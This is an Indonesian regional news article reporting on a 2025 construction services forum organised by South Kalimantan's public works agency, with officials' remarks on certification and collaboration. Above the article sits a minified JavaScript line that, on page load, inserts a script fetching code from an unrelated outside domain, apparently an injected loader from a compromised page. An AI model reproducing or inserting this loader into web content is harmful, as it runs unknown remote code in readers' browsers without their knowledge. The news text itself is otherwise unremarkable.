(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

PUPR Kalsel Gelar Forum Jasa Konstruksi Tahun Anggaran 2025

KANALKALIMANTAN.COM, BANJARBARU – Forum Jasa Konstruksi Tahun Anggaran 2025 bertema “Penguatan Peran Pemerintahan Daerah Provinsi serta Kabupaten/Kota dan Masyarakat Jasa Konstruksi dalam Upaya Mendorong Pertumbuhan Jasa Konstruksi yang Berdaya Saing di Provinsi Kalsel”, digelar di Banjarmasin, Selasa (25/11/2025).

Kegiatan oleh Dinas PUPR Kalsel ini dihadiri oleh sejumlah perangkat daerah dan instansi terkait, di antaranya Disperkim Kalsel, Bappeda, Disdikbud, Dinkes, Inspektorat, BPKAD, RSUD Ulin, RSUD Mohammad Ansari Saleh, RSGM, Rumah Sakit Jiwa Sambang Lihum, Dinas PUPR serta Dinas Perkim 13 Kabupaten/Kota se Kalimantan Selatan.

Plt Kepala Dinas PUPR Provinsi Kalsel, M Yasin Toyib, yang diwakili Kepala Seksi Pengawasan, Maknawaroh, didampingi Kepala Seksi Pemberdayaan, Ihsan Riskiyandi membuka kegiatan itu.

Dalam sambutannya Maknawaroh menyampaikan rasa syukur dan apresiasi atas terselenggaranya forum yang menjadi ruang penting untuk menyatukan persepsi terkait pembangunan dan peningkatan kualitas jasa konstruksi di Banua.

“Kami menyambut gembira terselenggaranya kegiatan ini. Mudah-mudahan melalui forum seperti ini akan tercipta persepsi yang sama tentang peran pemerintah provinsi, kabupaten/kota, dan masyarakat jasa konstruksi dalam mendorong pertumbuhan sektor konstruksi yang berdaya saing di Kalimantan Selatan,” ujar dia.

Ia juga menyampaikan ucapan terima kasih kepada seluruh peserta dan narasumber dari Direktorat Bina Konstruksi Kementerian Pekerjaan Umum, yang berkenan hadir dan berkontribusi dalam pelaksanaan forum.

Menurut dia, kolaborasi seluruh pihak menjadi kunci kemajuan jasa konstruksi daerah, termasuk pelaku usaha, asosiasi, dan perguruan tinggi.

“Kita perlu bersama-sama mempersiapkan badan usaha dan SDM konstruksi yang berkualitas dan kompetitif. Terlebih peran pengusaha swasta dan asosiasi kontraktor maupun konsultan yang turut berpartisipasi dalam pembangunan infrastruktur Banua,” terang dia.

Ia menegaskan, forum ini menjadi bagian dari pelaksanaan tugas dan kewenangan Pemerintah Provinsi Kalsel untuk memastikan implementasi pengaturan jasa konstruksi memberikan kemudahan bagi para pelaku usaha.

“Kami berharap kegiatan ini dapat menjadi ruang diskusi untuk mencari solusi terbaik, khususnya terhadap persoalan sertifikasi badan usaha dan tenaga kerja konstruksi,” ujar dia.

Ia berharap pertemuan tersebut memberikan hasil konkret yang dapat diimplementasikan di daerah masing-masing dalam rangka peningkatan pelayanan bagi masyarakat jasa konstruksi di Kalsel.

“Semoga forum ini memberikan hasil yang memuaskan dan menjadi pembelajaran yang dapat diterapkan di kabupaten/kota untuk mewujudkan pelayanan jasa konstruksi yang lebih baik,” tutup dia. (kanalkalimantan.com/MCKalsel)

Editor: Dhani